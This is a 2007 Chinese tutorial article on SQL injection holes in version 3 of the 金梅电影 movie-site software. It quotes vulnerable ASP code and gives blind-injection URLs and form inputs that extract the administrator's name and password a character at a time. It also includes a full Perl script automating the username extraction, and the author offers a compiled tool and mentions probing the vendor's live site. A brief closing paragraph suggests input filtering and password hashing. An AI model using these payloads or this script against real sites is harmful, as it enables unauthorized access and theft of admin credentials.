sql注入漏洞,金梅电影的N个SQL注入漏洞

金梅电影的N个SQL注入漏洞 - 网络安全 - 电脑教程网

金梅电影的N个SQL注入漏洞

日期:2007-01-28   荐:
  涉及版本,金梅电影第三版初学SQL注入,高手不要见笑,只写一此比较简单的注入。金梅电影实在是漏洞百出!先来看movie.ASP来这一段:articleid=request("id")set rs=server.createobject("adodb.recordset")sql="update learning set hits=hits+1 where articleID="&articleidrs.open sql,conn,1,3sql="select * from learning where articleid="&articleidrs.open sql,conn,1,1articleid未经任何检查便提交了,呵呵。我们可以构造如下代码:127.0.0.1/movie.asp?id=28%20AND%201=(select%20id%20from%20passWord%20where%20len(pwd)=6)127.0.0.1/movie.asp?id=28%20AND%201=(select%20id%20from%20password%20where%20len(name)=8)如果下常返回页面,那么可以得到后台管理员名为8位,而密码为6位。哈哈,再来:127.0.0.1/movie.asp?id=28%20AND%201=(select%20id%20from%20password%20where%20mid(name,1,1)=w)正常返回页面,证明后台管理员名的第一个字母为w,呵呵,接下来不用我说了吧。重复提交类似代码,就可以把管理员名和密码弄到手了。手工输入就太麻烦了,下面这段脚本用来测试这一漏洞:#!/usr/bin/perl#The s cript Crack admin for 金梅电影程序#Code by 520worlduse IO::Socket;system(cls);$ARGC = @ARGV;if ($ARGC < 3){print "\n\n";print "\t* The s cript Crack admin for 金梅电影程序 *\n";print "\n\tExample: jmsql.pl 127.0.0.1 /movie.asp 53 \"\n";print "\t jmsql.pl \n\n\n";exit;} $host = @ARGV[0];$way = @ARGV[1];$txtid = @ARGV[2];$errinfo =@ARGV[3]800a0bcd;$port = 80; print "\n\t* Code by 520world QQ:20000445 *\n";print "\n\n开始在 $host 上进行测试,请等待......\n";for ($passlen=1;$passlen<=20;$passlen++){$way1 = "?id=$txtid%20AND%201=(select%20id%20from%20password%20where%20len(pwd)=$passlen)";&url;@res =&connect;if ("@res" !~ /$errinfo/){print "\n\t* 发现ID=1的管理员的密码长度为: $passlen 位\n";last;}}for ($userlen=1;$userlen<=20;$userlen++){$way1 = "?id=$txtid%20AND%201=(select%20id%20from%20password%20where%20len(name)=$userlen)";&url;@res =&connect;if ("@res" !~ /$errinfo/){print "\n\t* 发现ID=1的管理员的用户名长度为: $userlen 位\n";last;}}@dig=(0..9);@char=(a..z);@tchar=qw(` ~ ! + @ # $Content$nbsp;^ * \( \) _ = - { } [ ] : " ; < > ? , . / \\);@dic=(@dig,@char,@tchar);@dic1=(@char,@dig,@tchar);print "\n开始尝试获取ID=1的管理员的用户名,请等待......\n";for ($userlocat=1;$userlocat<=$userlen;$userlocat++){foreach $usertemp(@dic1){$user=$userdic.$usertemp;$way1 = "?id=$txtid%20and%201=(select%20id%20from%20password%20where%20mid(name,1,$userlocat)=$user)";&url;@res =&connect;if ("@res" !~ /$errinfo/){if ($userlocat==$userlen){print "\n\n\t* 获取成功!!! ID=1的管理员名字是: $user\n";last;}print "\n\t* ID=1的管理员名字的前 $userlocat 位为 $user";$userdic=$userdic.$usertemp;last;}}}print "\n\n\n\t* 测试完毕. 获取到一个用户名为$user! *\n";print "\n\n\n";#system(pause);sub url{$req = "GET $way$way1 HTTP/1.0\n"."Host: $host\n"."Referer: $host\n"."Cookie: \n\n";}sub connect{my $connection = IO::Socket::INET->new(Proto =>"tcp",PeerAddr =>$host,PeerPort =>$port) die "Sorry! Could not connectto $host \n";print $connection $req;my @res = <$connection>;close $connection;return @res;}其实我是个菜鸟,这段脚本是根据wawa的动网文章改来的,还请高手不要见笑,多多指教啊。因为是用来测试的程序,所以没有提供猜测密码的代码,还请大家不要做坏事哦!用法:jmsql.pl <网站域名> <页面路径movie.asp> <能正常返回页面的id>再来看class.asp,............略if typeid="全部" thensql="select articleid,title,hits from learning order by hits desc"elsesql="select articleid,title,hits from learning wheretypeid="&typeid&"order by hits desc"end ifSet rst= Server.CreateObject("ADODB.Recordset")rst.open sql,conn,1,1if rst.eof and rst.bof thenresponse.write " 该栏目没有任何电影 "呵呵,又来了,typeid未经任何检测。看下面的代码:http://127.0.0.1/class.asp?typeid=动作片%20and%201=(select%20id%20from%20password%20where%20len(name)>6)%20and%201正常返回页面,那么管理员的密码长度大于六了。哈哈。不用再说了。重复类似代码,管理员名和密码又能到手了。。。。。还有/user/searchname.asp,看代码:<%if request("searchuser")<>"" thenset rs=server.createobject("adodb.recordset")sql="select userid from users where userid="&request("userid")&""rs.open sql,conn,1,2if rs.eof thenresponse.write "alert(这一“用户名称”还未被注册你可以使用!);window.close();"response.endelseresponse.write "alert(这一“用户名称”已被占用,请得新输入!);history.back();"response.endend ifrs.close又是未经任何检查。我们先注册一个用户,比如jjhhh.下面打开searchname.asp,在检查用户名的输入框中输入如下代码:jjhhh and 1=(select id from password where len(name)=6) and 1提交查询,返回“用户名已被注册,请得新查询”(晕,金梅字都打错了!!!!)OK,得到管理员的用户名为六位,,呵呵。再来,jjhhh and 1=(select id from password where mid(name,1,1)=w) and 1返回用户名已被注册,哈哈,管理员ID第一个字母是w!..........................关于这个页面的注入我也写了个脚本,且已编译成exe,有兴趣的朋友可以和我要。金梅电影中,诸如此类的漏洞好象还有不少,我这个菜鸟就不再献丑了。希望这篇文章能够抛砖引玉。也希望金梅能尽快完善程序,金梅用的人很多,商业站也有不少,不要再有洞了。那个movie.asp中的洞,我看一个星期前已经有人发布了,但是我昨天扫金梅官网,发现他还没有堵这个注入。而仅仅把自己password表名修改了事。其实要堵这些洞,个人觉得并不是太难,只要写的时候多注意提交的检查。比如过滤掉提交中的空格和‘还有=以及()。再不然就是限制提交的字符数。终极做法可以用md5加密后台密码,别人拿到密码也是白费。
[1] [2]  

(出处:http://www.sheup.com)


 [1] [2] 

标签: